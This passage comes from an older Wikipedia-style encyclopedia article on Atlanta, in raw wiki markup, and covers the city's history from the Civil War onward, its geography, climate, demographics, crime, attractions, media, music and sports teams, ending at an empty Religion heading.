In 1864, the city became the target of a major Union invasion (the subject of the 1939 film [[Gone with the Wind (film)|Gone with the Wind]]). The area now covered by Atlanta was the scene of several battles, including the [[Battle of Peachtree Creek]], the [[Battle of Atlanta]], and the [[Battle of Ezra Church]]. On [[September 1]] [[1864]], [[Confederate States of America|Confederate]] General [[John Bell Hood]] evacuated Atlanta after a four-month siege mounted by Union General [[William Tecumseh Sherman|William Sherman]] and ordered all public buildings and possible union assets destroyed. The next day, mayor [[James Calhoun]] surrendered the city, and on [[September 7]] Sherman ordered the civilian population to evacuate. He then ordered Atlanta burned to the ground on [[November 11]] in preparation for his punitive march south. After a plea by Father Thomas O'Reilly of Immaculate Conception Catholic Church, Sherman did not burn the city's churches or hospitals. The remaining war resources were then destroyed in the aftermath and in [[Sherman's March to the Sea]]. The fall of Atlanta was a critical point in the Civil War, giving the North more confidence, and leading to the re-election of [[Abraham Lincoln]] and the eventual surrender of the Confederacy.

After the war, Atlanta was gradually rebuilt and soon became the industrial and commercial center of the South. From 1867 until 1888, US Army soldiers occupied McPherson Barracks (later renamed [[Fort McPherson]]) in southwest Atlanta to ensure [[Reconstruction era (United States)|Reconstruction era]] reforms. To help the newly freed slaves, the federal government set up a [[Bureau of Refugees, Freedmen and Abandoned Lands|Freedmen's Bureau]], which helped establish what is now [[Clark Atlanta University]], one of several historically black colleges in Atlanta. In 1868, Atlanta became the fifth city to serve as the state capital. [[Henry W. Grady]], the editor of the ''[[Atlanta Constitution]]'', promoted the city to investors as a city of the &quot;New South,&quot; by which he meant a diversification of the economy away from agriculture and a shift from the &quot;Old South&quot; attitudes of slavery and rebellion.

[[Image:Peachtree1907.jpg|thumbnail|In 1907, Peachtree Street, the main street of Atlanta, was busy with streetcars and automobiles.]]
As Atlanta grew, ethnic and racial tensions mounted. A [[race riot]] in 1906 left at least twelve dead and over seventy injured. In 1913, [[Leo Frank]], a Jewish supervisor at an Atlanta factory, was put on trial for raping and murdering a thirteen-year old white employee. After doubts about Frank's guilt led his death sentence to be commuted in 1915, riots broke out in Atlanta and Frank was [[lynching|lynched]].

In the 1930s, the [[Great Depression]] hit Atlanta. With the city government nearing bankruptcy, the [[The Coca-Cola Company|Coca-Cola Company]] had to help bail out the city's deficit. The federal government stepped in to help Atlantans by establishing [[Techwood Homes]], the nation's first federal [[public housing|housing project]] in 1935. With the entry of the United States into [[World War II]], soldiers from around the southeast went through Atlanta to train and later be discharged at Fort McPherson. War-related manufacturing such as the [[Bell Aircraft]] factory in the suburb of [[Marietta, Georgia|Marietta]] helped boost the city's population and economy. Shortly after the war in 1946, the Communicable Disease Center, later called the [[Centers for Disease Control and Prevention|Centers for Disease Control and Prevention (CDC)]] was founded in Atlanta from the old Malaria Control in War Areas offices and staff.

In 1951, the city received the [[All-America City Award]], due to its rapid growth and high standard of living in the southern U.S.

In the 1960s, Atlanta was a major organizing center of the [[American civil rights movement|civil rights movement]], with [[Martin Luther King|Dr. Martin Luther King]] and students from Atlanta's historically black colleges and universities playing major roles in the movement's leadership. On October 19, 1960, a sit-in at the lunch counters of several Atlanta department stores led to the arrest of Dr. King and several students, drawing attention from the national media and from presidential candidate [[John F. Kennedy]]. Despite this incident, Atlanta's political and business leaders fostered Atlanta's image as &quot;the city too busy to hate&quot;. In 1961, Mayor Ivan Allen Jr became one of the few Southern white mayors to support desegregation of Atlanta's public schools. While the city mostly avoided confrontation, small race riots did occur in 1965 and in 1968. In 1990, the [[International Olympic Committee]] selected Atlanta as the site for the [[1996 Summer Olympics]]. Following the announcement, Atlanta undertook several major construction projects to improve the city's parks, sports facilities, and transportation. Former Mayor [[Bill Campbell]] allowed many &quot;tent cities&quot; to be built creating a carnival atmosphere around the games. Atlanta became the first [[United States|American]] capital city to host the Olympics. The games themselves were a wonderful achievement in sports, but were marred by the [[Centennial Olympic Park bombing]], which resulted in the death of two people and injured several others. The bombing was carried out by [[Eric Robert Rudolph]].

==Geography==
[[Image:Midtown Atlanta.JPG|thumb|Midtown Atlanta's skyline]]
According to the [[United States Census Bureau]], the city has a total area of 343.0 km² (132.4 mi²). 341.2 km² (131.8 mi²) of it is land and 1.8 km² (0.7 mi²) of it is water. The total area is 0.51% water.

At about 1000 feet or 300 meters above mean sea level, Atlanta sits atop a ridge south of the [[Chattahoochee River]]. Amongst the 25 largest [[United States metropolitan area|MSA]]s, Atlanta is the third-highest in elevation, slightly lower than [[Phoenix, Arizona|Phoenix]] and 1 mile (1,600 m) high [[Denver, Colorado|Denver]].

According to folklore, its central avenue, [[Peachtree Street]], runs through the center of the city on the [[Eastern Continental Divide]]. In actuality, the divide line enters Atlanta from the southwest, proceeding to downtown. From downtown, the divide line runs eastward along DeKalb Avenue and the [[CSX]] rail lines through Decatur. Rainwater that falls on the south and east side runs eventually into the [[Atlantic Ocean]] while rainwater on the north and west side of the divide runs into the [[Gulf of Mexico]].

The latter is via the [[Chattahoochee River]], part of the [[ACF River Basin]], and from which Atlanta and many of its neighbors draw most of their water. Being at the far northwestern edge of the city, much of the river's natural habitat is still preserved, in part by the Chattahoochee River National Recreation Area. Downstream however, excessive water use during droughts and pollution during floods has been a source of contention and legal battles with neighboring states [[Alabama]] and [[Florida]].

==Climate==
[[Image:AtlantaSnow.jpg|thumb|200px|A wintry snow landscape in midtown Atlanta, January 2003.]]
Due to the several reasons Atlanta experiences a cooler climate than most cities in the southern U.S. Among these are: distance from the Atlantic Ocean and Gulf of Mexico with their moderating effect, elevation, prevailing wind patterns, and an extensive tree cover that mitigates the [[urban heat island]]. This contrast seems especially pronounced in comparison with the subtropical areas of coastal [[Georgia (U.S. state)|Georgia]]. In fact, contrary to the perception of many visitors, the oft-heard nickname &quot;Hotlanta&quot; is a reflection primarily of the area's prosperity dominant status within the South, rather than of high temperatures.

At 33°39' north, Atlanta lies at approximately the same latitude as such cities as [[Los Angeles]], [[Dallas]], [[Casablanca]], and [[Beirut]], but it experiences colder winter temperatures than all of these, with frost being recorded 48 times in an average year. The cold fronts that sweep south from Canada through the U.S. Midwest bring cold spells, severe enough to drop the temperature below -10°C (14°F) and even lower a few times a year.  The record low temperature in the city being a frigid -22°C (-9°F) dating to Feb. 13 1899, which was nearly tied on Jan. 21, 1985, when -21°C (-8°F) was recorded. Snowfall is variable, averaging some 5 centimeters (2 inches) per year, but every year sees at least some accumulation. It occurs as moisture from the Gulf of Mexico hits a strong cold front from the north. 

Though summers are quite humid, actual temperatures are only moderately hot, with afternoon high temperatures most often around 30°C (86°F). Only very rarely does the thermometer hit the oppressive mark of 38°C (100°F), this occurring in the past 30 years in 1980, 1983, 1986, 1993, 1995, and 2000, with the all-time record high of 41°C (105°F) being reached on July 13 and 17, 1980. 

Like the rest of the southeastern U.S., Atlanta enjoys abundant rainfall, which is evenly distributed throughout the year. The area receives some 127 centimeters (50.5 inches) of rain annually, which is surpassed only by [[Miami]] and [[New Orleans]] among major U.S. cities.

The table below shows monthly average high and low temperatures as well as monthly average precipitation
{| class=&quot;wikitable&quot;
! style=&quot;background: #99CCCC; color: #000080&quot; height=&quot;17&quot; | Month
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jan
! style=&quot;background: #99CCCC; color:#000080;&quot; | Feb
! style=&quot;background: #99CCCC; color:#000080;&quot; | Mar
! style=&quot;background: #99CCCC; color:#000080;&quot; | Apr
! style=&quot;background: #99CCCC; color:#000080;&quot; | May
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jun
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jul
! style=&quot;background: #99CCCC; color:#000080;&quot; | Aug
! style=&quot;background: #99CCCC; color:#000080;&quot; | Sep
! style=&quot;background: #99CCCC; color:#000080;&quot; | Oct
! style=&quot;background: #99CCCC; color:#000080;&quot; | Nov
! style=&quot;background: #99CCCC; color:#000080;&quot; | Dec
! style=&quot;background: #99CCCC; color:#000080;&quot; | Year
|-
! style=&quot;background: #99CCCC; color:#000080;&quot; | Avg high [°C](°F)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 11 (52)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 14 (57)
| style=&quot;background: #FFCC66; color:#000080;&quot; | 18 (65)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 23 (73)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 27 (80)
| style=&quot;background: #FF9900; color:#000080;&quot; | 31 (87)
| style=&quot;background: #FF9900; color:#000080;&quot; | 32 (89)
| style=&quot;background: #FF9900; color:#000080;&quot; | 31 (88)
| style=&quot;background: #FF9900; color:#000080;&quot; | 28 (82)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 23 (73)
| style=&quot;background: #FFCC66; color:#000080;&quot; | 17 (63)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 13 (55)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 22 (72)
|-
! style=&quot;background: #99CCCC; color:#000080;&quot; height=&quot;16;&quot; | Avg low temperature [°C](°F)
| style=&quot;background: #FFFFCC; color: black;&quot; | 1 (34)
| style=&quot;background: #FFFFCC; color: black;&quot; | 3 (37)
| style=&quot;background: #FFFFCC; color: black;&quot; | 7 (45)
| style=&quot;background: #FFFF99; color: black;&quot; | 10 (50)
| style=&quot;background: #FFFF99; color: black;&quot; | 15 (59)
| style=&quot;background: #FFCC66; color: black;&quot; | 19 (66)
| style=&quot;background: #FFCC00; color: black;&quot; | 22 (72)
| style=&quot;background: #FFCC66; color: black;&quot; | 21 (70)
| style=&quot;background: #FFCC66; color: black;&quot; | 18 (64)
| style=&quot;background: #FFFF99; color: black;&quot; | 12 (54)
| style=&quot;background: #FFFFCC; color: black;&quot; | 7 (45)
| style=&quot;background: #FFFFCC; color: black;&quot; | 2 (36)
| style=&quot;background: #FFFF99; color: black;&quot; | 11 (52)
|-
! style=&quot;background: #99CCCC; color:#000080;&quot; | Rainfall ([[millimeters]])(inches)
| style=&quot;background: #2288BB;&quot; | 127.8 (5.03)
| style=&quot;background: #44AADD;&quot; | 118.9 (4.68)
| style=&quot;background: #2288BB;&quot; | 136.7 (5.38)
| style=&quot;background: #66CCFF;&quot; | 91.9 (3.62)
| style=&quot;background: #66CCFF;&quot; | 100.3 (3.95)
| style=&quot;background: #66CCFF;&quot; | 92.2 (3.63)
| style=&quot;background: #2288BB;&quot; | 130.0 (5.12)
| style=&quot;background: #66CCFF;&quot; | 92.2 (3.63)
| style=&quot;background: #44AADD;&quot; | 103.9 (4.09)
| style=&quot;background: #66CCFF;&quot; | 79.0 (3.11)
| style=&quot;background: #44AADD;&quot; | 104.1 (4.10)
| style=&quot;background: #66CCFF;&quot; | 97.0 (3.82)
| style=&quot;background: #2288BB;&quot; | 1274 (50.16)
|}

==People and culture==
===Demographics===

{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px;text-size:80%; text-align:right&quot;
|align=center colspan=2| '''City of Atlanta &lt;br&gt;Population by year''' [http://www.census.gov/population/www/documentation/twps0027.html]
|-
|[[1860]] || 9,554
|-
|[[1870]] || 21,789
|-
|[[1880]] || 37,409
|- 
|[[1890]] || 65,533
|-
|[[1900]] || 89,872
|- 
|[[1910]] || 154,839
|- 
|[[1920]] || 200,616
|- 
|[[1930]] || 270,366
|- 
|[[1940]] || 302,288
|- 
|[[1950]] || 331,314
|- 
|[[1960]] || 487,455
|-
|[[1970]] || 496,973
|- 	 
|[[1980]] || 425,022	 
|- 	 
|[[1990]] || 394,017	 
|- 	 
|[[2000]] || 416,474 
|-	 
|[[2004]] || 425,000	 
|}

[[Image:Black atlanta1.gif|thumb|right|Thematic map of [[African American]]s, the largest ethnic group in Atlanta]]

The [[census]] of 2000 states there are 416,474 people, (423,019 as of 2003 estimates), 168,147 households, and 83,232 families residing in the city.  The [[population density]] is 1,221/km² (3,161/mi²). There are 186,925 housing units at an average density of 548/km² (1,419/mi²). The racial makeup of the city is 61.39% [[African American (U.S. Census)|Black]], 33.22% [[White (U.S. Census)|White]], 1.93% [[Asian (U.S. Census)|Asian]], 0.18% [[Native American (U.S. Census)|Native American]], 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 1.99% from [[Race (U.S. Census)|other races]], and 1.24% from two or more races. 4.49% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race. The city has one of the largest gay populations in the nation; according to Census 2000 both DeKalb and Fulton counties are among the ten most heavily gay counties in America. There are several predominantly and largely [[gay]] neighborhoods, mostly in the Midtown area of the city.

There are 168,147 households out of which 22.4% have children under the age of 18 living with them, 24.5% are [[Marriage|married couples]] living together, 20.7% have a female householder with no husband present, and 50.5% are non-families. 38.5% of all households are made up of individuals and 8.3% have someone living alone who is 65 years of age or older. The average household size is 2.30 and the average family size is 3.16.

In the city the population is spread out with 22.3% under the age of 18, 13.3% from 18 to 24, 35.2% from 25 to 44, 19.4% from 45 to 64, and 9.7% who are 65 years of age or older. The median age is 32 years. For every 100 females there are 98.6 males. For every 100 females age 18 and over, there are 97.6 males.

The median income for a household in the city is $51,482 and the median income for a family is $55,939. Males have a median income of $36,162 compared to $30,178 for females. The [[per capita income]] for the city is $29,772, and  24.4% of the population and 21.3% of families are below the [[poverty line]]. 38.8% of those under the age of 18 and 20.7% of those 65 and older are living below the poverty line.

:''See also: [[population of Atlanta]]''

===Crime===
&lt;!--See talk page before re-adding 'Crime Index' or Olympics commentary--&gt;For several decades, Atlanta had been among the most violent cities in North America but in recent years the city has reduced violent crime considerably. While still high, the murder rate in 2004 was half that of [[New Orleans]].  In 2005, Atlanta recorded 93 homicides — the lowest total since 1963, and an almost 40% decrease from the 151 killings reported in 2002.

However, in 2005 Atlanta received embarrassing media attention for the high-profile [[Brian Nichols]] manhunt, who became internationally known as the &quot;Courthouse Killer&quot;. In addition, broadcast media focused attention on a standoff involving a murder suspect (not an Atlanta resident) who perched himself on top of a construction crane for several days in the upscale [[Buckhead (Atlanta)|Buckhead]] district.  

* The latest Uniform Crime Reports can be downloaded at the [http://www.atlantapd.org/index.asp?nav=crime Atlanta Police Department's Website].

===Attractions, events, and recreation===
[[Image:King_Tomb.gif|thumb|right|300px|The Sweet Auburn district is preserved as the Martin Luther King, Jr. National Historic Site.]]

[[Image:TheVarsity Atlanta-GA.jpg|right|thumb|300px|The Varsity has been an Atlanta landmark for over 75 years.]]

[[Image:Piedmont Park, Atlanta, GA, USA field.jpg|300px|thumbnail|Atlanta's Piedmont Park is the city's largest park.]]

Atlanta boasts a variety of museums on subjects ranging from history to fine arts, natural history, and beverages. Prominent among them are sites honoring Atlanta's participation in the civil rights movement. Reverend Dr. [[Martin Luther King, Jr.]] was born in the city, and his boyhood home on Auburn Avenue in the Sweet Auburn district is preserved as the [[Martin Luther King, Jr. National Historic Site]]. Meetings with other civil rights leaders, including Hosea Williams and current [[Congressman]] [[John Lewis (politician)|John Lewis]], often happened at Paschal's, a diner and motor inn which was a favorite for &quot;colored&quot; people, banned from &quot;white&quot; restaurants in an era of racial segregation and intolerance. King's final resting place is in the tomb at the center of the reflecting pool at the King Center.

Other history museums and attractions include the [[Atlanta History Center]]; the [[Atlanta Cyclorama|Atlanta Cyclorama and Civil War Museum]] (a huge painting and [[diorama]] in-the-round, with a rotating central audience platform, that depicts the [[Battle of Atlanta]] in the Civil War); the [[Carter Center|Carter Center and Presidential Library]]; and the [[Margaret Mitchell House and Museum]].

The arts are represented by several theaters and museums, including the [[Fox Theatre (Atlanta)|Fox Theatre]]. The [[Woodruff Arts Center]] is home to the Alliance Theatre, Atlanta Symphony, [[High Museum of Art]], and Atlanta College of Art.  Museums geared specifically towards children include the [[Fernbank Science Center]] and Imagine It! Atlanta's Children's Museum. The High Museum of Art is the city's major fine/visual arts venue, with a significant permanent collection and an assortment of traveling exhibitions.  The [[Atlanta Opera]], which was founded in 1979 by members of two struggling local companies, is arguably the most important opera company in the southeastern United States and enjoys a growing audience and international reputation.

Atlanta features the world's largest aquarium, the [[Georgia Aquarium]], which officially opened to the public on November 23, 2005. The aquarium features over 100,000 specimens in tanks holding approximately eight million gallons of water. One unique museum is the [[World of Coca-Cola]] featuring the history of the world famous soft drink brand and its well-known advertising. Adjacent is [[Underground Atlanta]], a historic shopping and entertainment complex situated under the streets of downtown Atlanta. In addition the [[Atlantic Station]], a huge new urban renewal project on the northwestern edge of Midtown Atlanta, officially opened in October of 2005. While not a museum per se, [[The Varsity]] is the main branch of the long-lived fast food chain, featured as the world's largest drive-in restaurant.

The heart of the city's festivals is [[Piedmont Park]].  In 1887, a group of prominent Atlantans purchased 189 acres (0.76 km²) of farmland to build a horse racing track, later developed into the site of the Cotton States International Exposition of 1895. In 1904, the city council purchased the land for $99,000, and today it is the largest park in metro Atlanta, with more than 2.5 million visitors each year. The grounds were part of the [[Battle of Peachtree Creek]] &amp;ndash; a Confederate division occupied the northern edge on [[July 20]], [[1864]] as part of the outer defense line against Sherman's approach. Next to the park is the [[Atlanta Botanical Garden]]. [[Zoo Atlanta]], home to its own [[panda]] exhibit, is located in [[Grant Park (Atlanta)|Grant Park]].

Just east of the city, [[Stone Mountain]] is the largest piece of exposed [[granite]] in the world. On its face are giant carvings of [[Jefferson Davis]], [[Robert E. Lee]], and [[Thomas J. Jackson|Stonewall Jackson]]. It is also the site of impressive [[laser]] shows in the [[summer]]. A few miles west of Atlanta on [[I-20]] is the [[Six Flags Over Georgia|Six Flags Over Georgia Theme Park]], which opened near the city in 1967, and was the second [[theme park]] in the [[Six Flags chain]].

Popular annual cultural events include:
*[[Atlanta Dogwood Festival]], a Spring arts and crafts festival at Piedmont Park.
*[[Music Midtown]] - Three-day music festival in early summer. (Now on hiatus)
*Atlanta Gay Pride [http://www.atlantapride.org]
*Atlanta Jazz Festival [http://www.atlantafestivals.com/], largest free jazz festival in the USA
*Sweet Auburn SpringFest
*Inman Park Festival [http://www.inmanpark.org/festival.php]
*Virginia-Highlands Summerfest [http://www.vahi.org/summerfest.html]
*Georgia Renaissance Festival [http://www.garenfest.com/]

===Media===
The major daily newspaper in Atlanta is ''[[The Atlanta Journal-Constitution]]''. Other weekly papers include ''[[Creative Loafing]]'' and ''[[Atlanta Nation]]''.

The Atlanta metro area is served by a wide variety of local television stations, and is the ninth largest designated market area (DMA) in the U.S. with 2,059,450 homes (1.88% of the total U.S.). The major network television affiliates are [[WXIA-TV|WXIA]] 11 ([[National Broadcasting Company|NBC]]), [[WSB-TV|WSB]] 2 ([[American Broadcasting Company|ABC]]), [[WGCL-TV|WGCL]] 46 ([[Columbia Broadcasting Service|CBS]]), [[WAGA (TV)|WAGA]] 5 ([[Fox Broadcasting Company|FOX]]), [[WATL (TV)|WATL]] 36 ([[The WB Television Network|WB]]), [[WUPA|WUPA]] 69 ([[UPN]]), [[WUVG-TV|WUVG]] 34 ([[Univision]]), [[WPXA (TV)|WPXA]] 14 ([[I (TV network)|i]]), and [[WHSG-TV|WHSG]] 63 ([[Trinity Broadcasting Network|TBN]]). There are also two [[PBS]] stations: [[WGTV (TV)|WGTV]] 8 ([[Public Broadcasting Service|PBS]]) and [[WPBA (TV)|WPBA]] 30 ([[Public Broadcasting Service|PBS]]), and one independently operated station: [[WATC (TV)|WATC]] 57, which carries religious programming, as well as [[TBS (TV network)|TBS]]'s Atlanta transmitter, [[WTBS]].

Atlanta's radio stations include AM stations [[WSB-AM|WSB]] 750 (News/Talk), [[WGST-AM|WGST]] 640 (News/Talk), [[WCNN-AM|WCNN]] 680 (Sports/talk &quot;The Fan&quot;), [[WQXI-AM|WQXI]] 790 (Sports/talk &quot;The Zone&quot;), and several other religious and spanish-language stations. Atlanta's FM stations include [[WRAS-FM|WRAS]] 88.5 (college Radio &quot;Album 88&quot;), [[WBCX-FM|WBCX]] 89.1 (jazz/classical), [[WRFG-FM|WRFG]] 89.3 (indie &quot;Radio Free Georgia&quot;), [[WABE-FM|WABE]] 90.1 (NPR), [[WREK-FM|WREK]] 91.1 (Diverse &quot;Wreck&quot;), [[WWEV-FM|WWEV]] 91.5 (christian &quot;Victory 91.5&quot;), [[WCLK-FM|WCLK]] 91.9 (jazz &quot;Jazz 92&quot;), [[WZGC-FM|WZGC]] 92.9 (AAA &quot;Dave FM&quot;), [[WSTR-FM|WSTR]] 94.1 (top 40 &quot;Star 94&quot;), [[WLTM-FM|WLTM]] 94.9 (AC &quot;94.9 Lite FM&quot;), [[WBTS-FM|WBTS]] 95.5 (urban top 40 &quot;95.5 the Beat&quot;), [[WKLS-FM|WKLS]] 96.1 (classic rock &quot;96 Rock&quot;), [[WFOX-FM|WFOX]] 97.1 (classic hits &quot;97.1 the River&quot;), [[WPZE-FM|WPZE]] 97.5 (black gospel &quot;Praise 97.5&quot;), [[WSB-FM|WSB-FM]] 98.5 (AC &quot;B98.5FM&quot;), [[WNNX-FM|WNNX]] 99.7 (alternative rock &quot;99X&quot;), [[WWWQ-FM|WWWQ]] 100.5 (top 40 &quot;Q100&quot;), [[WKHX-FM|WKHX]] 101.5 (country &quot;Kicks 101.5&quot;), [[WAMJ-FM|WAMJ]] 102.5 (urban AC &quot;WR&amp;B&quot;), [[WVEE-FM|WVEE]] 103.3 (urban &quot;V103&quot;), [[WALR-FM|WALR-FM]] 104.1 (urban AC/oldies &quot;Kiss 104.1&quot;), [[WFSH-FM|WFSH]] 104.7 (christian &quot;104.7 the Fish&quot;), [[WBZY-FM|WBZY]] 105.3 (modern rock &quot;105.3 the Buzz&quot;), [[WWVA-FM|WWVA-FM]] 105.7 (spanish top 40 &quot;Viva 105.7&quot;), [[WYAY-FM|WYAY]] 106.7 (classic country &quot;Eagle 106.7&quot;), [[WJZZ-FM|WJZZ]] 107.5 (smooth jazz), and [[WHTA-FM|WHTA]] 107.9 (urban &quot;Hot 107.9&quot;).

Several [[cable television]] networks also operate from Atlanta, including [[TBS (TV network)|TBS]], [[CNN]], [[Cartoon Network]], [[Boomerang]], and [[Turner Network Television|TNT]]. These stations are owned by [[Turner Broadcasting System]] (now a subsidiary of [[Time Warner]]). [[The Weather Channel]] (owned by [[Landmark Communications]]) also broadcasts from the Atlanta area.

[[Nintendo]]'s American Division has its distribution center based in Atlanta, the primary location from where imported games and products arrive to [[United States]] and are often inspected and shipped to stores nationwide.

{{seealso|list of newspapers in Atlanta}}

===Music===
[[Jermaine Dupri]]'s 2001 [[hip hop music|hip hop]] single &quot;Welcome to Atlanta&quot; declares Atlanta the &quot;new [[Motown]]&quot;, referencing the city of [[Detroit, Michigan]], which was known for its contributions to popular music. A significant number of Atlantans have become successful [[musician]]s, including artists such as [[OutKast]], [[Jerry Reed]], [[Gladys Knight &amp; the Pips]], [[Blaque]], [[Ludacris]], [[T.I.]], [[Young Jeezy]], [[Ying Yang Twins]], [[D4L]], [[Monica (singer)|Monica]], [[Youngbloodz]], and [[Lil Jon]]. Others, such as [[Bobby Brown]] and [[Whitney Houston]] and [[Brian Littrell]] of the [[Backstreet Boys]], have moved to the city and made it their home. Of the many modern day recording artist/groups to be originated in Atlanta, [[TLC]] still by records sold, holds the crown for the biggest present day act with record sales hovering around the 50 million mark. Atlanta has also produced rock and pop music singers, such as alternative metal band [[Sevendust]] and modern rock band [[Collective Soul]], and was a proving ground for Connecticut-born pop-rock-blues musician [[John Mayer (musician)|John Mayer]].

[[record producers|Record Producers]] [[Antonio Reid|L.A. Reid]] and [[Babyface]] founded [[LaFace Records]] in Atlanta in the late-1980s; the label has eventually become the home to multi-platinum selling artists such as [[Toni Braxton]], [[TLC]], [[OutKast]], [[Goodie Mob]], [[Usher Raymond|Usher]] and [[Ciara]], many of whom are Atlantans themselves. It is also the home of [[So So Def Records]], a label founded by Jermaine Dupri in the mid-1990s, that signed acts such as [[Da Brat]], [[Jagged Edge (band)|Jagged Edge]], [[Xscape]], [[Dem Franchise Boyz]], and [[Bow Wow]]. The success of LaFace and SoSo Def led to Atlanta as an established scene for record labels such as LaFace parent company [[Arista]] to set up satellite offices.

Atlanta's classical music scene includes well-renowned ensembles such as the [[Atlanta Symphony Orchestra]], [[Atlanta Opera]], [[Atlanta Ballet]], period-instrument ensemble [[New Trinity Baroque]], [[Atlanta Boy Choir]], and many others. Classical musicians include renowned conductors such as late [[Robert Shaw]], Atlanta Symphony's [[Robert Spano]], New Trinity Baroque's [[Predrag Gosta]], and others.

Despite producing numerous famous musicians, however, Atlanta's live pop music scene has suffered in recent years. Due in part to harsher new laws dictating the closing times of bars and nightclubs, many small to medium sized venues have closed down. As a result, fewer and fewer touring acts are stopping by Atlanta, putting further financial strain on the remaining clubs and venues. In the early 1980s, Atlanta was the home of a thriving [[new wave music]] scene featuring such bands as The Brains and [[The Producers (band)|The Producers]], closely linked to the new wave scenes in [[Athens, Georgia]] and other college towns in the southeast.

===Sports===
{| class=&quot;wikitable&quot;
!Club
!Sport
!League
!Stadium
!Logo
|-
|[[Atlanta Falcons]]
|[[American Football|Football]]
|[[National Football League]]''';''' [[National Football Conference|NFC]]
|[[Georgia Dome]]
|[[Image:AtlantaFalcons 100.png|30px|Atlanta Falcons Logo]]
|-
|[[Atlanta Braves]]
|[[Baseball]]&lt;/td&gt;
|[[Major League Baseball]]''';''' [[National League|NL]]
|[[Turner Field]]&lt;/td&gt;
|[[Image:AtlantaBraves 100.png|30px|Atlanta Braves Logo]]
|-
|[[Atlanta Hawks]]
|[[Basketball]]
|[[National Basketball Association]]
|[[Philips Arena]]
|[[Image:AtlantaHawks 100.png|30px|Atlanta Hawks Logo]]
|-
|[[Atlanta Silverbacks]]
|[[Soccer]]
|[[USL First Division]]
|[[Silverbacks Park]]
|[[Image: Atlanta_Silverbacks.gif|30px|Atlanta Silverbacks Logo]]
|-
|[[Atlanta Thrashers]]
|[[Ice Hockey]]
|[[National Hockey League]]
|[[Philips Arena]]
|[[Image:AtlantaThrashers 100.png|30px|Atlanta Thrashers Logo]]
|-
|[[Georgia Force]]
|[[Arena Football]]
|[[Arena Football League]]
|[[Philips Arena]]
|[[Image:GeorgiaForce.gif |30px|Georgia Force Logo]]
|}

[[Image:1996summerolympicslogo.jpg|thumb|left|100 px|Games of the XXVI Olympiad]]Atlanta has a rich sports history, including the second intercollegiate football game in the South, [[Auburn University]] vs. [[University of Georgia]] in 1892. This game is often considered the Oldest Rivalry in the South. Currently it hosts college football's annual Chick-fil-A Bowl and the [[Peachtree Road Race]], the world’s largest 10K race. Atlanta was the host city for the Centennial [[1996 Summer Olympics]]. [[Centennial Olympic Park]], built for 1996 Summer Olympics, sits adjacent to [[CNN Center]] and [[Philips Arena]]. It is now operated by the [[Georgia World Congress Center]] Authority.

The city is also host to [[U.S. cities with teams from four major sports|four different major league sports]]. The [[Atlanta Braves]] [[baseball]] team has been the [[Major League Baseball]] franchise of Atlanta since 1966; the franchise was previously known as the [[Boston Braves]] (1912-1952), and the Milwaukee Braves (1953-1965). The team was founded in 1871 in [[Boston, Massachusetts]] as a National Association club, making it the oldest continuously operating sports franchise in North American sports. The Braves won the [[World Series]] in 1995 and have had an unprecedented run of fourteen straight divisional championships since 1991. Before the Braves moved to Atlanta, the [[Atlanta Crackers]] were Atlanta's professional baseball team from 1901 until their last season in 1965. They won 17 league championships in the minor leagues. The [[Atlanta Black Crackers]] were Atlanta's [[Negro League]] team from around 1921 until 1949.

The [[Atlanta Falcons]] [[American football]] team plays at the [[Georgia Dome]]. They have been Atlanta's [[National Football League]] franchise since 1966. They have won the division title three times, and a conference championship once, only to go on to lose to the [[Denver Broncos]] in [[Super Bowl XXXIII]]. Super Bowl XXVIII and XXXIV were held in the city.

The [[Atlanta Hawks]] [[basketball]] team has been the [[National Basketball Association]] franchise of Atlanta since 1969; the team was previously known as the Tri-Cities Blackhawks (1946-1951), [[Milwaukee, Wisconsin|Milwaukee]] Hawks (1951-55), [[Saint Louis, Missouri|St. Louis]] Hawks (1955-68). Their only NBA championship was in 1958, when they were the St. Louis Hawks.

From 1992 to 1996 Atlanta was home to the short-lived [[Atlanta Knights]], an [[International Hockey League]] team. Their inaugural season was excellent for a new team, and was only bested by their sophomore season in which they won the championship Turner Cup. In 1996 they moved to [[Quebec City, Quebec|Quebec City]] and became the [[Quebec Rafales]].

In 1999 the [[Atlanta Thrashers]] [[Ice hockey|hockey]] team became Atlanta's [[National Hockey League]] franchise. They replaced the [[Atlanta Flames]] which had departed for [[Calgary, Alberta|Calgary]] in 1980, becoming the [[Calgary Flames]]. The Thrashers have yet to make it to the playoffs. Both the Thrashers and the Hawks play in [[Philips Arena]].

The [[Georgia Force]] has been Atlanta's team in the [[Arena Football League]] since the franchise relocated from [[Nashville]] in 2002. The 2005 National Conference champions currently play in [[Philips Arena]].

The final event of the [[PGA Tour]] season, [[THE TOUR Championship]], is played annually at East Lake Golf Club. This golf course is used because of its connection to the great amateur golfer [[Bobby Jones (golf)|Bobby Jones]], an Atlanta native.

From 2001 to 2003 Atlanta hosted the [[Atlanta Beat]] [[football (soccer)|soccer]] team of the defunct [[Women's United Soccer Association]]. They appeared in two of the three Founders Cup championships held, losing to the [[Bay Area CyberRays]] in 2001, and the [[Washington Freedom]] team in 2003.  Currently, Atlanta is the home of the [[Atlanta Silverbacks]] of the [[United Soccer Leagues]] First Division (Men) and W-League (Women)

The [[Atlanta Kookaburras]] are a successful [[Australian rules football]] club that compete in mens and women's divisions in the [[MAAFL]] and [[SEAFL]] and [[USAFL National Championships]]. 

Other nearby sports facilities include [[Atlanta Motor Speedway]], a 1.5 mile (2.4 km) NASCAR race track in [[Hampton, Georgia]].

Atlanta is home to the [[Chick-fil-A Bowl]] (formerly known as the Peach Bowl) which is played at the [[Georgia Dome]] and matches a [[Southeastern Conference|SEC]] team against an [[Atlantic Coast Conference|ACC]] opponent, as well as the [[List of SEC Conference Champions|SEC Championship Game]] in football annually, as well as hosting the basketball and gymnastics championships on several occasions.

{{seealso|U.S. cities with teams from four major sports}}

===Religion===
